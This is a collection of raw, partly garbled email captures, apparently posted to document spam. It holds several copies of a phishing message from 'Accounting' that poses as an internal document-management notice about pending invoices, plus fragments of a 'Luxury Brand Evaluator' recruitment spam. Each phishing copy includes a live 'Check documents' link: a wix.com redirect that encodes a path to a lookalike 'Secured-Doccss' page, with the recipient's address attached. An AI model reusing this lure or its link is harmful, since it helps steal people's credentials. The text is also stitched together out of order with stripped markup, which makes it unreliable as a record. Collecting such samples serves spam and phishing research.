Document phish from Russia Part 1

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 19:21:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXU5v-000000000dS-3fQo

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 19:20:31 -0600

Resent-From: The Doctor

Resent-Date: Wed, 10 Jun 2026 19:20:31 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [185.130.251.62] (port=59934 helo=s1682841.smartape-vps.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXTx8-00000000Ptm-13SM

for doctor@nl2k.ab.ca;

Wed, 10 Jun 2026 19:11:33 -0600

Received: from banksyariahkhatulistiwa.co.id (localhost [IPv6:::1])

by s1682841.smartape-vps.com (Postfix) with ESMTP id A503128CB8B

for ; Thu, 11 Jun 2026 04:08:53 +0300 (MSK)

From: Accounting

To: doctor@nl2k.ab.ca

Subject: "Updated SOA" for your review and approval

Date: 11 Jun 2026 01:08:52 +0000

Message-ID: <20260611010851.F37B1CCF2487DC40@banksyariahkhatulistiwa.co.id>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable




w3.org/TR/html4/loose.dtd">









 




;Segoe UI", Arial, Helvetica, sans-serif; WHITE-SPACE: normal; WORD-SP=

ACING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 4=

00; COLOR: rgb(50,49,48); PADDING-BOTTOM: 20px; FONT-STYLE: normal; TEXT-AL=

IGN: left; PADDING-TOP: 20px; PADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; LET=

TER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(243,242,241)=

; font-variant-ligatures: normal; font-variant-caps: normal;=20

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de=

coration-style: initial; text-decoration-color: initial" cellspacing=3D"0" =

cellpadding=3D"0" width=3D"100%">








lid; BORDER-RIGHT: rgb(237,235,233) 1px solid; BORDER-COLLAPSE: collapse; B=

ORDER-BOTTOM: rgb(237,235,233) 1px solid; BORDER-LEFT: rgb(237,235,233) 1px=

solid; BACKGROUND-COLOR: rgb(255,255,255); border-radius: 8px; box-shadow:=

rgba(0, 0, 0, 0.05) 0px 2px 4px" cellspacing=3D"0" cellpadding=3D"0" width=

=3D"600">










PADDING-TOP: 24px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">


I", Arial, sans-serif; FONT-WEIGHT: 600; COLOR: rgb(0,120,212); MARGIN: 0px=

; LINE-HEIGHT: 1.2'> 




HITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 6=

00; COLOR: rgb(0,120,212); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2=

; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255=

,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-c=

aps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: ini=

tial; text-decoration-style: initial;=20

text-decoration-color: initial'>
NT style=3D"VERTICAL-ALIGN: inherit">nl2k.ab.ca Document Management
ONT>





ible; BORDER-TOP: rgb(237,235,233) 1px solid; HEIGHT: 0px; BORDER-RIGHT-WID=

TH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-COLOR: ; BORDER-BOTTOM-COLOR=

: ; MARGIN: 16px 0px; BORDER-RIGHT-COLOR: ; border-image: initial">


PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">

Three new=

documents

Doument phish from Russia Part 1

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 19:21:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXU5n-000000000cq-32IR

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 19:20:23 -0600

Resent-From: The Doctor

Resent-Date: Wed, 10 Jun 2026 19:20:23 -0600

Resent-Message-ID:

Resent-To: Dave Yadallee

Received: from [185.130.251.62] (port=59906 helo=s1682841.smartape-vps.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXTx8-00000000Ptf-13V2

for doctor@mail.nl2k.ab.ca;

Wed, 10 Jun 2026 19:11:33 -0600

Received: from banksyariahkhatulistiwa.co.id (localhost [IPv6:::1])

by s1682841.smartape-vps.com (Postfix) with ESMTP id 22F4029496E

for ; Thu, 11 Jun 2026 04:08:51 +0300 (MSK)

From: Accounting

To: doctor@mail.nl2k.ab.ca

Subject: "Updated SOA" for your review and approval

Date: 11 Jun 2026 01:08:51 +0000

Message-ID: <20260611010851.AD5C522D642FE664@banksyariahkhatulistiwa.co.id>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable




w3.org/TR/html4/loose.dtd">









 




;Segoe UI", Arial, Helvetica, sans-serif; WHITE-SPACE: normal; WORD-SP=

ACING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 4=

00; COLOR: rgb(50,49,48); PADDING-BOTTOM: 20px; FONT-STYLE: normal; TEXT-AL=

IGN: left; PADDING-TOP: 20px; PADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; LET=

TER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(243,242,241)=

; font-variant-ligatures: normal; font-variant-caps: normal;=20

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de=

coration-style: initial; text-decoration-color: initial" cellspacing=3D"0" =

cellpadding=3D"0" width=3D"100%">












lid; BORDER-RIGHT: rgb(237,235,233) 1px solid; BORDER-COLLAPSE: collapse; B=

ORDER-BOTTOM: rgb(237,235,233) 1px solid; BORDER-LEFT: rgb(237,235,233) 1px=

solid; BACKGROUND-COLOR: rgb(255,255,255); border-radius: 8px; box-shadow:=

rgba(0, 0, 0, 0.05) 0px 2px 4px" cellspacing=3D"0" cellpadding=3D"0" width=

=3D"600">










PADDING-TOP: 24px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">


I", Arial, sans-serif; FONT-WEIGHT: 600; COLOR: rgb(0,120,212); MARGIN: 0px=

; LINE-HEIGHT: 1.2'> 




HITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 6=

00; COLOR: rgb(0,120,212); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2=

; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255=

,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-c=

aps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: ini=

tial; text-decoration-style: initial;=20

text-decoration-color: initial'>
NT style=3D"VERTICAL-ALIGN: inherit">mail.nl2k.ab.ca Document Manageme=

nt





ible; BORDER-TOP: rgb(237,235,233) 1px solid; HEIGHT: 0px; BORDER-RIGHT-WID=

TH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-COLOR: ; BORDER-BOTTOM-COLOR=

: ; MARGIN: 16px 0px; BORDER-RIGHT-COLOR: ; border-image: initial">


PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">

Three new=

documents

Doument phish from Russia Part 2


sans-serif; VERTICAL-ALIGN: inherit; WHITE-SPACE: normal; WORD-SPACING: 0p=

x; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(50,49,48); FONT-STYLE=

: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: =

rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-va=

riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=

ss: initial; text-decoration-style: initial;=20

text-decoration-color: initial'>
AN> are waiting for your approval in your secure document porta=

l 
– =

including overdue invoices.




ing=3D"0" cellpadding=3D"0">








egoe UI", Arial, Helvetica, sans-serif; WHITE-SPACE: normal; WORD-SPAC=

ING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(50,49,48); FON=

T-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-=

COLOR: rgb(255,255,255); font-variant-ligatures: normal; font-variant-caps:=

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial=

; text-decoration-style: initial; text-decoration-color: initial" cellspaci=

ng=3D"0" cellpadding=3D"0">








, Arial, sans-serif; FONT-WEIGHT: 600; COLOR: rgb(255,255,255); PADDING-BOT=

TOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 20px; DISPLAY: inline-block; PA=

DDING-RIGHT: 20px; BACKGROUND-COLOR: rgb(0,120,212); border-radius: 4px'=20=



href=3D"https://shoutout.wix.com/so/27PwpdTMv/c?w=3D4D7LOB3cgx_OsHC-o2kLILl=

F5cO39j8TdExmRB5gAqY.eyJ1IjoiaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS91cmw_cT1odHRwcy=

UzQSUyRiUyRmdlc3NvbHVtZS5jb20uYnIlMkZ3ZWV6eWYlMkZsa3glMkZnbG9iYWwlMkZTZWN1c=

mVkLURvY2Nzcy5odG1sJnNhPUQmc250ej0xJnVzZz1BT3ZWYXcxaU80Ny1LeXV6T3RPSjIzSUMw=

NWlLIiwiciI6ImIwZGVlMTBlLTNiMjktNDNhNC1hMGVkLWMyMjllZTIwZGIzNSIsIm0iOiJscCJ=

9#doctor@mail.nl2k.ab.ca" target=3D_blank>
herit">Check documents




R: rgb(96,94,92)">


sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; F=

LOAT: none; FONT-WEIGHT: 400; COLOR: rgb(96,94,92); FONT-STYLE: normal; ORP=

HANS: 2; WIDOWS: 2; DISPLAY: inline !important; LETTER-SPACING: normal; BAC=

KGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: =

normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-dec=

oration-thickness: initial; text-decoration-style:=20

initial; text-decoration-color: initial'>This notification was automaticall=

y generated by your organization's document management system.


TD>



BORDER-COLLAPSE: collapse; COLOR: rgb(96,94,92); LINE-HEIGHT: 1.5" cellspac=

ing=3D"0" cellpadding=3D"0" width=3D"600">






>

; FONT-FAMILY: "Segoe UI", Arial, sans-serif; BORDER-RIGHT: rgb(2=

37,235,233) 1px solid; BORDER-BOTTOM: rgb(237,235,233) 1px solid; PADDING-B=

OTTOM: 15px; PADDING-TOP: 15px; PADDING-LEFT: 15px; BORDER-LEFT: rgb(237,23=

5,233) 1px solid; PADDING-RIGHT: 15px; BACKGROUND-COLOR: rgb(250,249,248); =

border-radius: 6px">


CKGROUND-COLOR: #faf9f8">Confidentiality Notice:

NT style=3D"VERTICAL-ALIGN: inherit">


; VERTICAL-ALIGN: inherit; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRA=

NSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(96,94,92); FONT-STYLE: normal; O=

RPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(250,249=

,248); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps:=

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial=

; text-decoration-style: initial;=20

text-decoration-color: initial'> 



VERTICAL-ALIGN: inherit; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRAN=

SFORM: none; FONT-WEIGHT: 400; COLOR: rgb(96,94,92); FONT-STYLE: normal; OR=

PHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(250,249,=

248); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: =

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;=

text-decoration-style: initial;=20

text-decoration-color: initial'>This message and all attachments are intend=

ed solely for the intended recipient doctor@mail.nl2k.ab.ca and may contain=

confidential or privileged information. Any unauthorized use, disclosure, =

or reproduction is prohibited. If you have received this message in error, =

please delete it immediately and notify the sender.




MARGIN: 0px">mail.nl2k.ab.ca © 2026






, Arial, sans-serif; FONT-WEIGHT: 600; COLOR: rgb(255,255,255); PADDING-BOT=

TOM: 10px; PADDING-TOP: 10px; PADDING-LEFT: 20px; DISPLAY: inline-block; PA=

DDING-RIGHT: 20px; BACKGROUND-COLOR: rgb(0,120,212); border-radius: 4px'=20=



href=3D"https://shoutout.wix.com/so/27PwpdTMv/c?w=3D4D7LOB3cgx_OsHC-o2kLILl=

F5cO39j8TdExmRB5gAqY.eyJ1IjoiaHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS91cmw_cT1odHRwcy=

UzQSUyRiUyRmdlc3NvbHVtZS5jb20uYnIlMkZ3ZWV6eWYlMkZsa3glMkZnbG9iYWwlMkZTZWN1c=

mVkLURvY2Nzcy5odG1sJnNhPUQmc250ej0xJnVzZz1BT3ZWYXcxaU80Ny1LeXV6T3RPSjIzSUMw=

NWlLIiwiciI6ImIwZGVlMTBlLTNiMjktNDNhNC1hMGVkLWMyMjllZTIwZGIzNSIsIm0iOiJscCJ=

9#dave@doctor.nl2k.ab.ca" target=3D_blank>
herit">Check documents




R: rgb(96,94,92)">


sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; F=

LOAT: none; FONT-WEIGHT: 400; COLOR: rgb(96,94,92); FONT-STYLE: normal; ORP=

HANS: 2; WIDOWS: 2; DISPLAY: inline !important; LETTER-SPACING: normal; BAC=

KGROUND-COLOR: rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: =

normal; font-variant-caps: normal; -webkit-text-stroke-width: 0px; text-dec=

oration-thickness: initial; text-decoration-style:=20

initial; text-decoration-color: initial'>This notification was automaticall=

y generated by your organization's document management system.


TD>



BORDER-COLLAPSE: collapse; COLOR: rgb(96,94,92); LINE-HEIGHT: 1.5" cellspac=

ing=3D"0" cellpadding=3D"0" width=3D"600">






LE>

; FONT-FAMILY: "Segoe UI", Arial, sans-serif; BORDER-RIGHT: rgb(2=

37,235,233) 1px solid; BORDER-BOTTOM: rgb(237,235,233) 1px solid; PADDING-B=

OTTOM: 15px; PADDING-TOP: 15px; PADDING-LEFT: 15px; BORDER-LEFT: rgb(237,23=

5,233) 1px solid; PADDING-RIGHT: 15px; BACKGROUND-COLOR: rgb(250,249,248); =

border-radius: 6px">


CKGROUND-COLOR: #faf9f8">Confidentiality Notice:

NT style=3D"VERTICAL-ALIGN: inherit">


; VERTICAL-ALIGN: inherit; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRA=

NSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(96,94,92); FONT-STYLE: normal; O=

RPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(250,249=

,248); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps:=

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial=

; text-decoration-style: initial;=20

text-decoration-color: initial'> 



VERTICAL-ALIGN: inherit; WHITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRAN=

SFORM: none; FONT-WEIGHT: 400; COLOR: rgb(96,94,92); FONT-STYLE: normal; OR=

PHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(250,249,=

248); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-caps: =

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial;=

text-decoration-style: initial;=20

text-decoration-color: initial'>This message and all attachments are intend=

ed solely for the intended recipient dave@doctor.nl2k.ab.ca and may contain=

confidential or privileged information. Any unauthorized use, disclosure, =

or reproduction is prohibited. If you have received this message in error, =

please delete it immediately and notify the sender.




MARGIN: 0px">doctor.nl2k.ab.ca © 2026



Doument phish from Russia Part 1

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 19:12:00 -0600

Received: from [185.130.251.62] (port=59190 helo=s1682841.smartape-vps.com)

by doctor.nl2k.ab.ca with esmtp (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXTwn-00000000Prb-0YN1

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 19:11:12 -0600

Received: from banksyariahkhatulistiwa.co.id (localhost [IPv6:::1])

by s1682841.smartape-vps.com (Postfix) with ESMTP id D833621FFB4

for ; Thu, 11 Jun 2026 04:08:25 +0300 (MSK)

From: Accounting

To: dave@doctor.nl2k.ab.ca

Subject: "Updated SOA" for your review and approval

Date: 11 Jun 2026 01:08:25 +0000

Message-ID: <20260611010823.4DEB2052D1D67458@banksyariahkhatulistiwa.co.id>

MIME-Version: 1.0

Content-Type: text/html;

charset="iso-8859-1"

Content-Transfer-Encoding: quoted-printable




w3.org/TR/html4/loose.dtd">









 




;Segoe UI", Arial, Helvetica, sans-serif; WHITE-SPACE: normal; WORD-SP=

ACING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 4=

00; COLOR: rgb(50,49,48); PADDING-BOTTOM: 20px; FONT-STYLE: normal; TEXT-AL=

IGN: left; PADDING-TOP: 20px; PADDING-LEFT: 0px; ORPHANS: 2; WIDOWS: 2; LET=

TER-SPACING: normal; PADDING-RIGHT: 0px; BACKGROUND-COLOR: rgb(243,242,241)=

; font-variant-ligatures: normal; font-variant-caps: normal;=20

-webkit-text-stroke-width: 0px; text-decoration-thickness: initial; text-de=

coration-style: initial; text-decoration-color: initial" cellspacing=3D"0" =

cellpadding=3D"0" width=3D"100%">








lid; BORDER-RIGHT: rgb(237,235,233) 1px solid; BORDER-COLLAPSE: collapse; B=

ORDER-BOTTOM: rgb(237,235,233) 1px solid; BORDER-LEFT: rgb(237,235,233) 1px=

solid; BACKGROUND-COLOR: rgb(255,255,255); border-radius: 8px; box-shadow:=

rgba(0, 0, 0, 0.05) 0px 2px 4px" cellspacing=3D"0" cellpadding=3D"0" width=

=3D"600">










PADDING-TOP: 24px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">


I", Arial, sans-serif; FONT-WEIGHT: 600; COLOR: rgb(0,120,212); MARGIN: 0px=

; LINE-HEIGHT: 1.2'> 




HITE-SPACE: normal; WORD-SPACING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 6=

00; COLOR: rgb(0,120,212); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2=

; WIDOWS: 2; MARGIN: 0px; LETTER-SPACING: normal; BACKGROUND-COLOR: rgb(255=

,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-variant-c=

aps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: ini=

tial; text-decoration-style: initial;=20

text-decoration-color: initial'>
NT style=3D"VERTICAL-ALIGN: inherit">doctor.nl2k.ab.ca Document Manage=

ment





ible; BORDER-TOP: rgb(237,235,233) 1px solid; HEIGHT: 0px; BORDER-RIGHT-WID=

TH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-LEFT-COLOR: ; BORDER-BOTTOM-COLOR=

: ; MARGIN: 16px 0px; BORDER-RIGHT-COLOR: ; border-image: initial">


PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px">

Three new=

documents



sans-serif; VERTICAL-ALIGN: inherit; WHITE-SPACE: normal; WORD-SPACING: 0p=

x; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(50,49,48); FONT-STYLE=

: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-COLOR: =

rgb(255,255,255); TEXT-INDENT: 0px; font-variant-ligatures: normal; font-va=

riant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickne=

ss: initial; text-decoration-style: initial;=20

text-decoration-color: initial'>
AN> are waiting for your approval in your secure document porta=

l 
– =

including overdue invoices.




ing=3D"0" cellpadding=3D"0">








egoe UI", Arial, Helvetica, sans-serif; WHITE-SPACE: normal; WORD-SPAC=

ING: 0px; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rgb(50,49,48); FON=

T-STYLE: normal; ORPHANS: 2; WIDOWS: 2; LETTER-SPACING: normal; BACKGROUND-=

COLOR: rgb(255,255,255); font-variant-ligatures: normal; font-variant-caps:=

normal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial=

; text-decoration-style: initial; text-decoration-color: initial" cellspaci=

ng=3D"0" cellpadding=3D"0">

Luxury Brand Evaluator spam from Microsoft Outlook Part 3





--_000_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_--



--_005_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_

Content-Type: application/octet-stream; name="PNG image"

Content-Description: PNG image

Content-Disposition: inline; filename="PNG image"; size=524;

creation-date="Thu, 11 Jun 2026 00:34:47 GMT";

modification-date="Thu, 11 Jun 2026 00:34:47 GMT"

Content-ID:

Content-Transfer-Encoding: base64



iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAABwUlEQVR4AexQvWsUQRT/vTc7d5oL

cigciiipI0gwWJybIytW3t1idaClIoiFkEILO0ubFAYEQfRPsIifYIpDGxFTpbFLl3SBfJC7XHbm

5e1mSdLkclydHzv7dt7vY+cNo9o6y7X4I03d63EYv8N4NIohwDDJHTHBQzCs1icol5oYAgxxO5kv

KAAkgOEOhgDDbvwm7L6EdwuUuBfYxk8MAUa73fWbq7OyufbAd1feYPHzdp5DGG8VMBadQRQFee/Y

wrgdT9Polb9UKs9T6eofhM16qrZRfZIq/geNnf/H/txboGUwGY8gjO+i1niGsPkYt+oTqTZdDEcX

EBQmYEwV1t7QES+mhCRUBiGELV4T0E1Ut67zCH0g5q/Edo5M8J6C4jcOGzOpXi9bHJJdHCziXkoA

lEB8B70u4H0FgZ0TW7yvlZSDclroknDwGmGjxugPyQ2XiXhKQz+R6z2HS9qA5jk9AHMRxE9PCgJS

gzHQkb9Lp/PI/5qfFSsz2l4Ga98l+knRAEFQMIhoCYsL67oBpr8sAfI/C8oaUuGsDvKi9Pe58BU8

hHag0+UdM3iQHLFlbjmM0f3gQSru95wG9budfW4PAAD//+2TKb4AAAAGSURBVAMAQWyF9sYtXVUA

AAAASUVORK5CYII=



--_005_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_

Content-Type: application/octet-stream; name="PNG image[67]"

Content-Description: PNG image[67]

Content-Disposition: inline; filename="PNG image[67]"; size=819;

creation-date="Thu, 11 Jun 2026 00:34:47 GMT";

modification-date="Thu, 11 Jun 2026 00:34:47 GMT"

Content-ID:

Content-Transfer-Encoding: base64



iVBORw0KGgoAAAANSUhEUgAAABIAAAASCAYAAABWzo5XAAAC6ElEQVR4AYxTS2xNURRde9/zbtsn

8deBgZFvkyZGTHh9xCeEekUniDAiRuIzwsQAEySdYESFgVR8SkvUt09rhIFPSQdEDISEVNO83vve

Ods+90r6SQe92Wufffdn3X3OPpexrqmWcoWHCqEVmyeJRqGVioaCUG5LH/KFpcyROw6TWQ9nMbmH

AGaAADiB2ovJSRuLYCFsRb2TkJRgUGsOCGG1kDsD6xug+UqNeBIU/1MIEPmDSuYKXrQ/QxDdTALi

4IkSe0LFAXTbKQKTphBlYUr1yOerEVUvASm5RliRind4pG9AkFFLvpGttFLFXoLYt2BSH2aT8G1y

U19TgBbt0HeJUUTeTBIBYyDOPRfrNrpi+x738u5+kfJ6EdcC1i6Z54JNHQIzwzN7sKoqEH8XifeK

Kx/SxCEI/Qb+HkbPvQ8aT6X44Bd+9R/VL/QqASSOW6QcbROiotZoR0wBmP6g2HkFIXrBnIWrvEPx

6ZuUYZT++DEmyCPfMQL+jp6OWyB8AiuFpglEAtTVhYh4GlgPQuDUP7EkMT0CdjOSBKLQr+xVitoQ

JvoC5wZgwnrkNtan/lE6nzcCXgcdN6zrSyLq8OsI0ayaGnR39ZOzHQjD2ZDMOeQ2LfBJCZZvmAo7

7TTCqhUox/0w6Er80M0BGCGK48R2Vk4iKvVRzZQ1hOAx57Zc5FzjeQrDLgqrj8BWSiLlE3je+QOj

6pNidYxIT/tniYd3IhruRGDmSZjdJ1XZg9rJMtjyB53UXnTfv4Fxjyci9ekdN2VdU3n14K3UBo1S

sWskHjoiw4PHpBQ1iy2tQs8YEgeB/9n81shodQYuyurKevUNmpsDtLVZFO88QXf7WRQ7TqH37k34

u+RjeuhJrp+0HqZOGkxw7wFaiOrpF7Cq6TJkZit+2qto2Ho9Qb7pGjwaCum7j/mcfFMr5iy6TmzW

olL+yi7mkzrKRxRkNhF4NzHtGAPineTBwY5x/l1kzHb9BwckoMI/AAAA//9PyTKhAAAABklEQVQD

AD0XOGmOu5vgAAAAAElFTkSuQmCC



--_005_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_--

Luxury Brand Evaluator spam from Microsoft Outlook Part 2



--_000_AU2P273MB0387D06733C42AEC6DCDC928A91B2AU2P273MB0387AREP_

Content-Type: text/html; charset="Windows-1252"

Content-Transfer-Encoding: quoted-printable








252">








ak-word">



Hi Dave,



 




y:"Aptos",sans-serif;=0Dcolor:black">My name is Viridiana Reyes f=

rom CXG, and I=92m reaching out as I believe you could be a great fit for a=

n opportunity we are currently offering.




y:"Aptos",sans-serif;=0Dcolor:black"> 




y:"Aptos",sans-serif;=0Dcolor:black">We are currently looking for=

Luxury Brand Evaluators who help luxury brands enhance their customer expe=

rience by providing honest and detailed feedback on

their services, either in-store or online. This role offers the chance to =

work with some of the most prestigious brands worldwide.




y:"Aptos",sans-serif;=0Dcolor:black"> 




y:"Aptos",sans-serif;=0Dcolor:black">With your extensive work exp=

erience, you have a strong foundation to provide insightful and valuable fe=

edback that luxury brands would appreciate.




y:"Aptos",sans-serif;=0Dcolor:black">This role offers flexible as=

signments tailored to your interests, compensation based on mission complex=

ity, potential reimbursement for purchases, and the

convenience of managing everything through our user-friendly CXG Live mobi=

le platform.




y:"Aptos",sans-serif;=0Dcolor:black"> 




y:"Aptos",sans-serif;=0Dcolor:black">If this sounds like a great =

fit for you, I'd love to discuss the role further and answer any questions =

you might have. Please feel free to


if;color:black">review our job post here:

https://apply.worka=

ble.com/cxg/j/4FC4B8D119





y:"Aptos",sans-serif;=0Dcolor:black"> 




y:"Aptos",sans-serif;=0Dcolor:black"> 




y:"Aptos",sans-serif;=0Dcolor:black"> 




y:"Aptos",sans-serif;=0Dcolor:black">Best, 




mily:"Aptos",sans-serif;=0Dcolor:black">Viridiana Reyes Robles
pan>




y:"Aptos",sans-serif;=0Dcolor:black">Growth Lead, CXG




15.0pt;=0Dfont-family:"FluentSystemIcons",serif"> 

>


15.0pt;=0Dfont-family:"FluentSystemIcons",serif"> 

>


15.0pt;=0Dfont-family:"FluentSystemIcons",serif"> 

>


=3D"0" width=3D"623" style=3D"width:467.55pt;background:white;border-collap=

se:collapse">




















8CAB5 1.0pt;=0D border-left:none;border-bottom:solid #E8CAB5 1.0pt;border-=

right:none;=0D padding:12.0pt .75pt 12.0pt .75pt;height:6.25pt">


dana",sans-serif;=0D color:#003C4C">Office 1507, Damac Smart Heights,=

Barsha Heights, Dubai UAE  


P +971 (0)4 235 5607  




=0D height:5.5pt">


=3D"0" width=3D"106" style=3D"width:79.25pt;border-collapse:collapse">
















pt .75pt .75pt;=0D height:13.5pt">


itle=3D"https://www.cxg.com/">
uot;Verdana",sans-serif;=0D color:#013C4D">cxg.com




height:13.5pt">


?originalSubdomain=3Dpk" target=3D"_blank" title=3D"https://www.linkedin.co=

m/company/cxgroup/?originalSubdomain=3Dpk">
:windowtext;text-decoration:none">
13" id=3D"Picture 1" src=3D"cid:image001.png@01DCF907.BBD814A0">
=




height:13.5pt">


rget=3D"_blank" title=3D"https://www.instagram.com/we.are.cxg/">
=3D"ES" style=3D"color:windowtext;text-decoration:none">
idth=3D"13" height=3D"13" id=3D"Picture 2" src=3D"cid:image002.png@01DCF907=

.BBD814A0">






=0D height:5.5pt">


=3D"0" width=3D"298" style=3D"width:223.65pt;margin-left:129.5pt;border-col=

lapse:collapse">














3C4D 1.0pt;=0D padding:.75pt 6.0pt .75pt .75pt;height:.4pt">


style=3D"color:black">
uoyecDae" target=3D"_blank" title=3D"https://youtu.be/-a87JHxlPeY?si=3D48-5=

8yuLuoyecDae">
;,sans-serif;color:#003C4C;=0D background:white">Watch

our brand video

3C4C"> 




height:.4pt">


k">
=3D"https://www.cxg.com/about/#our-story">
=0D font-family:"Verdana",sans-serif;color:#003C4C;background:=

white">Read

our story

t;Verdana",sans-serif;=0D color:#003C4C"> 







 







Luxury Brand Evaluator spam from Microsoft Outlook Part 1

X-Mozilla-Status: 0001

X-Mozilla-Status2: 00000000

Return-path:

Envelope-to: dave@doctor.nl2k.ab.ca

Delivery-date: Wed, 10 Jun 2026 18:57:00 -0600

Received: from doctor by doctor.nl2k.ab.ca with local (Exim 4.99.3 (FreeBSD))

(envelope-from )

id 1wXTiC-00000000Ocn-4APy

for dave@doctor.nl2k.ab.ca;

Wed, 10 Jun 2026 18:56:00 -0600

Resent-From: The Doctor

